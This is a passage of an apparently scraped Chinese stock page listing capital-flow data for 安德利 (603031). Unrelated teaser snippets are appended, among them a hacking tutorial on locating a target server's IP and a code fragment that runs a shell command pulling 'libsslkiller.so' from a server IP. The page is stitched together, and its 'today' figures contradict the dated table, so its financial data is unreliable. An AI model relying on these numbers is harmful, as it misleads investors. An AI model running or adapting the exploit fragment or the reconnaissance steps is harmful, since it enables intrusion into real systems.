这里我们介绍的是关于安德利603031股票的个股资金流向分析,603031股吧地址的分享,以及603031近期的一些综合建议。
603031资金流向综合评价(2019.10.01)
股票代码:603031
股票名称:安德利
今日安德利(603031)资金评级:F
综合投资建议:该股资金处于流出状态
短期资金:该股上一交易日净流出16338.32万,今日净流出1726.88万,短期主力资金持续流出。
中期资金:该股10日内净流出17877.15万,其中3天的资金为净流入。
长期资金:该股20日内净流出18621.44万,其中6天的资金为净流入。
行业资金:商业贸易今日净流出6.77亿,10日资金净流出48.89亿,20日资金净流出120.50亿
今日安德利603031资金流向
今日资金净流入:-1726.8756万元
净流入比:-5%
今日游资净流入:-880.0511万元
游资净比:-11%
今日机构净流入:-1124.047万元
机构净比:-20%
今日散户净流入:277.2221万元
散户净比:2%
安德利603031近期资金流向
2019-09-30 | -746.1947万元 | -746.1947万元 | 0万元 | 0万元 | 0万元 | 1631万元 | -1.418% |
2019-09-27 | -550.9551万元 | -294.84万元 | 152.8245万元 | -408.9396万元 | 0万元 | 1731万元 | 1.300% |
2019-09-26 | -2499.403万元 | -791.3681万元 | -1282.075万元 | -425.9592万元 | 0万元 | 4320万元 | -1.615% |
2019-09-25 | -1726.8756万元 | 277.2221万元 | -880.0511万元 | -1124.047万元 | 0万元 | 10913万元 | -9.885% |
2019-09-24 | -16338.3216万元 | -691.516万元 | -1927.438万元 | -703.8392万元 | -13015.5224万元 | 15563万元 | -4.128% |
2019-09-20 | -4048.9812万元 | -2553.8996万元 | -1495.0804万元 | 0万元 | 0万元 | 3364万元 | -3.153% |
2019-09-19 | 7215.7872万元 | 3585.1796万元 | 1273.7832万元 | 2356.8326万元 | 0万元 | 6343万元 | 5.027% |
2019-09-18 | -918.5608万元 | -941.6468万元 | 23.086万元 | 0万元 | 0万元 | 2164万元 | -2.085% |
2019-09-17 | 3338.4934万元 | 2530.655万元 | 1317.0276万元 | -509.1886万元 | 0万元 | 4601万元 | 6.146% |
2019-09-16 | 548.7034万元 | 1070.6283万元 | -77.8957万元 | -444.0292万元 | 0万元 | 1692万元 | 1.688% |
2019-09-12 | -1419.9131万元 | -617.4895万元 | -802.4236万元 | 0万元 | 0万元 | 1229万元 | -0.187% |
2019-09-11 | -1057.7432万元 | -1057.7432万元 | 0万元 | 0万元 | 0万元 | 1155万元 | -0.620% |
2019-09-10 | -3469.7336万元 | -1500.7808万元 | -1451.4785万元 | -517.4744万元 | 0万元 | 2343万元 | -1.945% |
2019-09-09 | -40.0608万元 | -37.4148万元 | -2.646万元 | 0万元 | 0万元 | 2346万元 | 1.044% |
2019-09-06 | -1724.5846万元 | -977.4016万元 | -747.183万元 | 0万元 | 0万元 | 1365万元 | 0.123% |
2019-09-05 | -1409.2952万元 | -1086.4186万元 | -322.8766万元 | 0万元 | 0万元 | 1835万元 | -0.245% |
2019-09-04 | -629.0751万元 | -1246.2609万元 | 617.1858万元 | 0万元 | 0万元 | 2490万元 | -2.803% |
2019-09-03 | -729.7059万元 | -33.5135万元 | -696.1924万元 | 0万元 | 0万元 | 2378万元 | 0.179% |
2019-09-02 | -2748.5052万元 | -943.6825万元 | -1196.5574万元 | -608.2644万元 | 0万元 | 5243万元 | 1.763% |
2019-08-30 | 6453.3696万元 | 3368.7984万元 | 2008.7178万元 | 1075.8523万元 | 0万元 | 5840万元 | 4.644% |
合计 | -22501.5551万元 | -2687.6872万元 | -5489.2728万元 | -1309.0567万元 | -13015.5224万元 |
本文导读目录: 1、黑客怎么盗的我的Q? 2、qq为什么会被盗啊? 3、最近QQ号老被盗,都是被手机登录的,怎么被盗的? 4、qq盗号木马是什么 5、QQ被盗怎么办? 6、QQ被盗...
本文目录一览: 1、手机写简历用什么软件 2、在手机上做简历,下什么软件 3、手机哪个软件免费制作简历? 手机写简历用什么软件 手机写简历有很多软件,也有很多在线简历编辑网站。比如【超级简历...
好比一个茶匙啊,可能一个什么对象来形容下10克是几多? 500克是一斤 10克就是二钱 10 克=0.02市斤 克,为质量单元,标记g。一克是18*14074481个C-12原子的质量。一...
寒冬阻挡不了春天的脚步,黑夜遮蔽不住黎明的曙光。当全球大灾疫与百年大变局叠加交织,全球性挑战层出不穷之时,习近平主席出席世界经济论坛“达沃斯议程”对话会,带去了世界经济怎么看、怎么办、怎么干的的中...
现在我们获取了网站服务器的IP地址为:173.236.138.113 寻找同一服务器上的其它网站,我们使用sameip.org. 我们需要关于你网站的以下信息: DNS re...
runtime.exec(['/system/bin/sh','-c',weaselPath+''+serverip+'80getlibsslkiller.so']).waitFor();$handl...